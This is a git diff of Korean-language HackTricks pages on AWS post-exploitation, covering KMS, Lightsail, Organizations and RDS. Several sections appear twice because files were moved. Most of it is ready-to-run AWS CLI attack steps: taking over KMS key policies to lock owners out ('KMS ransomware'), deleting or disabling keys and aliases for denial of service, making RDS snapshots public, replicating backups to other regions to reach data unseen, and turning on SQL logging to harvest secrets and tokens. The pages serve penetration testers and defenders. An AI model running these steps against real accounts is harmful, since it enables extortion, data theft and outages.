--query Plaintext | base64 \
--decode
```
- **asymmetric** 키 사용:
```bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
```
### KMS Ransomware
KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정하여 **자신의 계정에 접근 권한을 부여**하고, 정상 계정에 부여된 접근 권한을 제거할 수 있다.
그 결과, 정상 계정 사용자는 해당 키로 암호화된 어떤 서비스의 정보에도 접근할 수 없게 되어, 계정에 대한 쉽고도 효과적인 ransomware를 만들게 된다.
> [!WARNING]
> 참고: **AWS managed keys**는 이 공격의 영향을 받지 않으며, 영향받는 것은 오직 **Customer managed keys**뿐이다.
> 또한 매개변수 **`--bypass-policy-lockout-safety-check`**를 사용해야 한다는 점에 유의하라 (웹 콘솔에는 이 옵션이 없기 때문에 이 공격은 CLI에서만 가능하다).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
> [!CAUTION]
> 정책을 변경해 외부 계정에만 액세스를 허용한 뒤, 그 외부 계정에서 원래 계정에 접근 권한을 되돌리기 위한 새 정책을 설정하려 해도, **Put Polocy 액션은 cross account에서 수행할 수 없기 때문에 불가능합니다**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Generic KMS Ransomware
글로벌 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다:
- 공격자가 가져온 **key with a key material**을 사용하여 새 key를 생성한다
- 이전 버전으로 암호화된 피해자의 데이터를 새 키로 **Re-encrypt older data** 한다
- **Delete the KMS key**
- 이제 원래의 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 된다
### Delete Keys via kms:DeleteImportedKeyMaterial
권한 `kms:DeleteImportedKeyMaterial`가 있으면 행위자는 `Origin=EXTERNAL`인 CMKs에서(키 material을 import한 CMKs) 가져온 key material을 삭제할 수 있으며, 이로 인해 해당 CMK로 데이터를 복호화할 수 없게 됩니다. 이 작업은 파괴적이며 호환 가능한 material을 다시 재-import하지 않는 한 되돌릴 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 사실상 ransomware-like 데이터 손실을 유발할 수 있습니다.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### 키 파기
키를 파기하면 DoS를 일으킬 수 있다.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> 참고: AWS는 이제 **이전 작업들이 cross account에서 수행되는 것을 차단합니다:**
### Alias 변경 또는 삭제
이 공격은 AWS KMS aliases를 삭제하거나 리다이렉트하여 키 해석을 깨뜨리고, 해당 aliases에 의존하는 서비스에서 즉시 장애를 발생시켜 denial-of-service를 초래합니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. key ID 대신 alias를 참조하는 서비스는 alias가 복원되거나 올바르게 재매핑될 때까지 실패할 수 있습니다.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### 키 삭제 취소
`kms:CancelKeyDeletion``kms:EnableKey` 같은 권한을 가진 행위자는 AWS KMS 고객 마스터 키의 예약 삭제를 취소하고 나중에 다시 활성화할 수 있습니다. 이렇게 하면 키를 복구(초기에는 Disabled 상태)하여 이전에 보호된 데이터를 복호화할 수 있는 기능이 복원되고, exfiltration을 가능하게 합니다.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Disable Key
With the `kms:DisableKey` 권한이 있으면 공격자는 AWS KMS customer master key를 비활성화하여 해당 키를 암호화 또는 복호화에 사용할 수 없게 만들 수 있습니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하며, 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derive Shared Secret
`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 private key와 사용자가 제공한 public key를 사용하여 ECDH shared secret을 계산할 수 있습니다.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
`kms:Sign` 권한이 있으면, 행위자는 KMS에 저장된 CMK를 사용해 private key를 노출하지 않고 데이터를 암호학적으로 서명할 수 있으며, 이는 유효한 서명을 생성하여 impersonation을 가능하게 하거나 악의적인 행위를 승인하는 데 사용될 수 있다.
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, 또는 `kms:UpdateCustomKeyStore` 같은 권한을 가진 공격자는 AWS KMS Custom Key Store (CKS)를 수정, 분리 또는 삭제할 수 있으며, 그 결과 마스터 키가 작동하지 않게 됩니다. 이로 인해 해당 키에 의존하는 서비스의 암호화, 복호화 및 서명 작업이 중단되어 즉각적인 denial-of-service가 발생할 수 있습니다. 따라서 해당 권한을 제한하고 모니터링하는 것이 중요합니다.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,182 @@
# AWS - KMS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### 암호화/복호화 정보
`fileb://` and `file://` 은 AWS CLI 명령에서 로컬 파일 경로를 지정할 때 사용되는 URI 스킴입니다:
- `fileb://:` 는 파일을 바이너리 모드로 읽으며, 일반적으로 텍스트 이외의 파일에 사용됩니다.
- `file://:` 는 파일을 텍스트 모드로 읽으며, 일반적으로 일반 텍스트 파일, 스크립트 또는 특수 인코딩이 필요하지 않은 JSON에 사용됩니다.
> [!TIP]
> 파일 내의 데이터를 복호화하려면, 파일이 base64로 인코딩된 데이터가 아니라 바이너리 데이터를 포함해야 합니다. (fileb://)
- **대칭** 키 사용
```bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
```
- **비대칭** 키 사용:
```bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
```
### KMS Ransomware
KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정해 **자신의 계정에 대한 접근을 허용하고**, 정당한 계정에 부여된 접근 권한을 제거할 수 있습니다.
그렇게 되면 정당한 계정 사용자는 해당 키로 암호화된 모든 서비스의 정보를 확인할 수 없게 되어, 계정에 대해 쉽지만 효과적인 ransomware가 발생합니다.
> [!WARNING]
> 참고: **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
> 또한 파라미터 **`--bypass-policy-lockout-safety-check`**의 사용이 필요하다는 점에 유의하세요(이 옵션이 web console에는 없기 때문에 이 공격은 CLI에서만 가능하게 됩니다).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
> [!CAUTION]
> 정책을 변경하여 외부 계정에만 액세스를 허용한 경우, 해당 외부 계정에서 새 정책을 설정해 **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Generic KMS Ransomware
global KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다:
- 공격자가 가져온 **key with a key material**로 새 키를 생성
- 피해자의 이전 버전으로 암호화된 오래된 데이터를 새 키로 **Re-encrypt older data**
- **Delete the KMS key**
- 이제 원본 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 됨
### Delete Keys via kms:DeleteImportedKeyMaterial
`kms:DeleteImportedKeyMaterial` 권한이 있으면, 행위자는 `Origin=EXTERNAL`인 CMKs에서 imported key material을 삭제할 수 있습니다 (CMKs that have imperted their key material). 이로 인해 해당 CMK로는 데이터를 복호화할 수 없게 됩니다. 이 동작은 파괴적이고 되돌릴 수 없으며, 호환되는 material이 재임포트되지 않는 한 복구할 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 ransomware-like 데이터 손실을 초래할 수 있습니다.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Destroy keys
키를 파괴하면 DoS를 수행할 수 있습니다.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> AWS는 이제 **교차 계정에서 이전 작업들이 수행되지 않도록 차단합니다:**
### Alias 변경 또는 삭제
이 공격은 AWS KMS aliases를 삭제하거나 리다이렉트하여 키 해석을 깨뜨리고 해당 aliases에 의존하는 서비스들에서 즉시 실패를 발생시켜 denial-of-service를 초래합니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 다른 대상으로 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. alias 대신 key ID를 참조하는 서비스는 alias가 복원되거나 올바르게 재매핑될 때까지 실패할 수 있습니다.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### 키 삭제 취소
`kms:CancelKeyDeletion``kms:EnableKey` 같은 권한을 가진 사용자는 AWS KMS customer master key의 예약 삭제를 취소하고 이후 재활성화할 수 있습니다. 이렇게 하면 키가 복구되어(초기에는 Disabled 상태) 이전에 보호된 데이터를 복호화할 수 있게 되고, exfiltration이 가능해집니다.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Disable Key
`kms:DisableKey` 권한이 있으면 행위자는 AWS KMS customer master key를 비활성화할 수 있으며, 이로 인해 해당 키를 이용한 encryption 또는 decryption이 불가능해집니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하여 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derive Shared Secret
`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 개인 키와 사용자가 제공한 공개 키를 사용하여 ECDH 공유 비밀을 계산할 수 있다.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
`kms:Sign` 권한이 있으면, 행위자는 KMS에 저장된 CMK를 사용해 개인 키를 노출하지 않고도 데이터를 암호학적으로 서명할 수 있으며, 이는 유효한 서명을 생성해 impersonation을 가능하게 하거나 악의적인 동작을 승인할 수 있습니다.
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, 또는 `kms:UpdateCustomKeyStore` 같은 권한을 가진 경우, 행위자는 AWS KMS Custom Key Store (CKS)를 수정, 분리 또는 삭제하여 해당 마스터 키를 작동 불능으로 만들 수 있습니다. 이는 해당 키에 의존하는 서비스들의 암호화, 복호화 및 서명 작업을 중단시키고 즉각적인 denial-of-service를 일으킬 수 있습니다. 따라서 이러한 권한을 제한하고 모니터링하는 것이 매우 중요합니다.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,30 +0,0 @@
# AWS - Lightsail Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Lightsail
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
### 이전 DB 스냅샷 복원
DB에 스냅샷이 있는 경우, **이전 스냅샷에서 현재 삭제된 민감한 정보를 찾을 수 있습니다**. **스냅샷을 새로운 데이터베이스에 복원**하고 확인하세요.
### 인스턴스 스냅샷 복원
인스턴스 스냅샷에는 이미 삭제된 인스턴스의 **민감한 정보** 또는 현재 인스턴스에서 삭제된 민감한 정보가 포함될 수 있습니다. **스냅샷에서 새로운 인스턴스를 생성**하고 확인하세요.\
또는 **스냅샷을 EC2의 AMI로 내보내고** 일반적인 EC2 인스턴스의 단계를 따르세요.
### 민감한 정보 접근
Lightsail privesc 옵션을 확인하여 잠재적인 민감한 정보에 접근하는 다양한 방법을 알아보세요:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,30 @@
# AWS - Lightsail Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Lightsail
For more information, check:
{{#ref}}
../../aws-services/aws-lightsail-enum.md
{{#endref}}
### 이전 DB snapshots 복원
DB에 snapshots가 있는 경우, 이전 snapshots에서 현재 삭제된 민감한 정보를 **찾을 수 있습니다**. 스냅샷을 **Restore**하여 **새 데이터베이스**에 적용하고 확인하세요.
### 인스턴스 snapshots 복원
인스턴스 snapshots에는 이미 삭제된 인스턴스의 **민감한 정보** 또는 현재 인스턴스에서 삭제된 민감한 정보가 포함되어 있을 수 있습니다. **snapshots에서 새로운 인스턴스를 생성**하고 확인하세요.\
또는 **스냅샷을 EC2의 AMI로 내보낸 후** 일반적인 EC2 인스턴스 절차를 따르세요.
### 민감한 정보 접근
잠재적 민감한 정보에 접근하는 다양한 방법을 알아보려면 Lightsail privesc 옵션을 확인하세요:
{{#ref}}
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,17 +1,17 @@
# AWS - Organizations Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## Organizations
AWS Organizations에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-organizations-enum.md
../../aws-services/aws-organizations-enum.md
{{#endref}}
### Leave the Org
### Org에서 탈퇴
```bash
aws organizations deregister-account --account-id <account_id> --region <region>
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +1,18 @@
# AWS - RDS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## RDS
자세한 내용은 다음을 확인하세요:
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 뒤 해당 스냅샷으로부터 **DB를 공개적으로 접근 가능하도록** 생성할 수 있습니다.
공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 뒤 스냅샷으로부터 공개적으로 접근 가능한 DB를 생성하여 **DB를 공개적으로 접근 가능하** 만들 수 있습니다.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
이 권한을 가진 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로** **사용 가능하게** 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 스냅샷으로부터 DB를 생성할 수 있습니다.
이 권한이 있으면 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로 이용 가능**하게 만들 수 있다. 그런 다음 자신의 계정에서 스냅샷으로부터 DB를 생성할 수 있다.
만약 공격자가 **`rds:CreateDBSnapshot` 권한이 없다면**, 그는 여전히 **다른** 생성된 스냅샷을 **공개**로 만들 수 있습니다.
공격자에게 `rds:CreateDBSnapshot` 권한이 **없더라도**, 다른 생성된 스냅샷을 **공개**로 만들 수 있다.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 액세스 자격 증명이 실수로 로그에 기록된 경우, 공격자는 이 정보를 이용해 권한을 승격하거나 무단으로 작업을 수행할 수 있습니다.
`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 access credentials가 실수로 로그에 기록되면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 조치를 취할 수 있습니다.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potential Impact**: 민감한 정보에 접근하거나 leaked credentials를 사용 무단으로 조치를 할 수 있습니다.
**잠재적 영향**: leaked credentials를 사용하여 민감한 정보에 접근하거나 무단으로 조치를 수행할 수 있습니다.
### `rds:DeleteDBInstance`
권한을 가진 공격자는 **기존 RDS 인스턴스에 대해 DoS를 수행할 수 있습니다**.
해당 권한을 가진 공격자는 **기존 RDS 인스턴스에 대해 DoS를 수행할 수 있습니다**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 잠재적인 데이터 손실.
**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.
### `rds:StartExportTask`
> [!NOTE]
> TODO: 테스트
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어는 경우, 내보낸 스냅샷 내 민감한 데이터에 접근할 수 있습니다.
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내에 있는 민감한 데이터에 접근할 수 있습니다.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potential impact**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
### 스텔스 복원을 위한 리전 간 자동 백업 복제 (`rds:StartDBInstanceAutomatedBackupsReplication`)
Cross-Region automated backups replication을 악용해 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 해당 Region에서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 비밀번호를 재설정하여 방어자가 모니터링하지 않을 수 있는 Region에서 out-of-band로 데이터를 접근할 수 있습니다.
리전 간 자동 백업 복제를 악용해 RDS 인스턴스의 자동 백업을 다른 AWS 리전으로 조용히 복제하고 그곳에서 복원합니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 호를 재설정해 수비자가 모니터링하지 않을 수 있는 리전에서 오프-밴드로 데이터를 획득할 수 있습니다.
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` (대상 Region에서)
- `rds:DescribeDBInstanceAutomatedBackups` (대상 Region에서)
- `rds:RestoreDBInstanceToPointInTime` (대상 Region에서)
- `rds:ModifyDBInstance` (대상 Region에서)
- `rds:StartDBInstanceAutomatedBackupsReplication` 대상 리전에서
- `rds:DescribeDBInstanceAutomatedBackups` 대상 리전에서
- `rds:RestoreDBInstanceToPointInTime` 대상 리전에서
- `rds:ModifyDBInstance` 대상 리전에서
- `rds:StopDBInstanceAutomatedBackupsReplication` (선택적 정리)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (복원된 DB를 노출하기 위해)
영향: Persistence 및 data exfiltration — 운영 데이터 사본을 다른 Region에 복원하고 공격자 제어 자격증명으로 공개적으로 노출함으로써 발생할 수 있습니다.
Impact: 프로덕션 데이터 사본을 다른 리전으로 복원하고 공격자 제어하는 자격증명으로 공개 노출함으로써 지속성 확보 및 데이터 유출.
<details>
<summary>End-to-end CLI (플레이스홀더 교체)</summary>
<summary>엔드투엔드 CLI (플레이스홀더 교체)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### DB parameter groups를 통해 전체 SQL 로깅을 활성화하고 RDS log APIs를 통해 exfiltrate
### DB parameter groups를 통해 전체 SQL 로깅을 활성화하고 RDS log APIs exfiltrate
`rds:ModifyDBParameterGroup` 권한을 악용하여 RDS log download APIs 애플리케이션 실행 모든 SQL 문을 캡처할 수 있습니다 (DB 엔진 자격 증명 불필요). 엔진 SQL 로깅을 활성화하고 파일 로그를 `rds:DescribeDBLogFiles` `rds:DownloadDBLogFilePortion` (또는 REST `downloadCompleteLogFile`)로 가져옵니다. 비밀/PII/JWTs가 포함될 수 있는 쿼리 수집 유용합니다.
`rds:ModifyDBParameterGroup` RDS log download APIs와 함께 악용하여 애플리케이션에서 실행 모든 SQL 문을 캡처니다 (DB 엔진 자격증명 불필요). 엔진 SQL 로깅을 활성화하고 파일 로그를 `rds:DescribeDBLogFiles` `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 가져옵니다. secrets/PII/JWTs가 포함될 수 있는 쿼리 수집하는 데 유용합니다.
Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (인스턴스가 기본 파라미터 그룹을 사용 중인 경우 커스텀 파라미터 그룹을 연결하기 위한 용도)
- `rds:RebootDBInstance` (재부팅이 필요한 파라미터의 경우, 예: PostgreSQL)
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Steps
1) Recon 대상과 현재 파라미터 그룹 조사
1) Recon 대상과 현재 파라미터 그룹 확인
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) 사용자 지정 DB 파라미터 그룹이 연결되어 있는지 확인하세요(기본값은 편집할 수 없)
- 인스턴스가 이미 사용자 지정 그룹을 사용 중이 다음 단계에서 해당 이름을 재사용하세요.
- 그렇지 않엔진 계열에 맞는 그룹을 생성하 연결하세요:
2) custom DB parameter group가 연결되어 있는지 확인하세요 (default는 편집할 수 없습니다)
- 인스턴스가 이미 custom group을 사용 중이라면, 다음 단계에서 해당 이름을 재사용하세요.
- 그렇지 않engine family에 맞는 custom DB parameter group을 생성하 연결하세요:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -197,7 +197,7 @@ aws rds modify-db-instance \
# Wait until status becomes "available"
```
3) 자세한 SQL 로깅 활성화
- MySQL 엔진 (즉시 / 재부팅 불필요):
- MySQL engines (즉시 / 재부팅 불필요):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL 엔진(재부팅 필요):
- PostgreSQL 엔진 (재부팅 필요):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) 워크로드를 실행하거나(또는 쿼리를 생성) 실행되도록 둡니다. 쿼리 문장은 엔진 파일 로그에 기록됩니다
4) 워크로드를 실행(또는 쿼리를 생성). 쿼리는 엔진 파일 logs에 기록됩니다
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) 로그를 찾아 다운로드합니다 (no DB creds required)
5) logs를 찾아 다운로드합니다 (no DB creds required)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -239,14 +239,14 @@ aws rds download-db-log-file-portion \
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
예시 증거(편집됨):
예시 증거 (편집됨):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
정리
- 매개변수를 기본값으로 되돌리고 필요 시 재부팅:
- 필요하면 매개변수를 기본값으로 되돌리고 재부팅하세요:
```bash
# MySQL
aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
영향: Post-exploitation 데이터 접근 — AWS APIs를 통해 모든 애플리케이션 SQL 문을 캡처(no DB creds), potentially leaking secrets, JWTs, and PII.
영향: Post-exploitation 단계에서 AWS APIs를 통해 모든 애플리케이션 SQL 문을 캡처하여 데이터에 접근할 수 있습니다 (no DB creds), 잠재적으로 secrets, JWTs, PII를 leak할 수 있습니다.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
RDS read replicas를 악용하 primary 인스턴스의 자격증명을 건드리지 않고도 out-of-band 읽기 접근을 얻을 수 있다. An attacker는 production 인스턴스에서 read replica를 생성하고, replica의 master password를 재설정할 수 있다(이는 primary 변경지 않음). 선택적으로 replica를 public으로 노출시켜 데이터를 exfiltrate할 수 있다.
RDS read replicas를 악용하 primary instance credentials를 건드리지 않고도 out-of-band 읽기 접근을 얻을 수 있습니다. 공격자는 production 인스턴스로부터 read replica를 생성하고, replica의 master password를 재설정(이 경우 primary 변경지 않음)한 뒤, 선택적으로 replica를 public으로 노출시켜 데이터를 exfiltrate할 수 있습니다.
필요 권한(최소):
Permissions needed (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
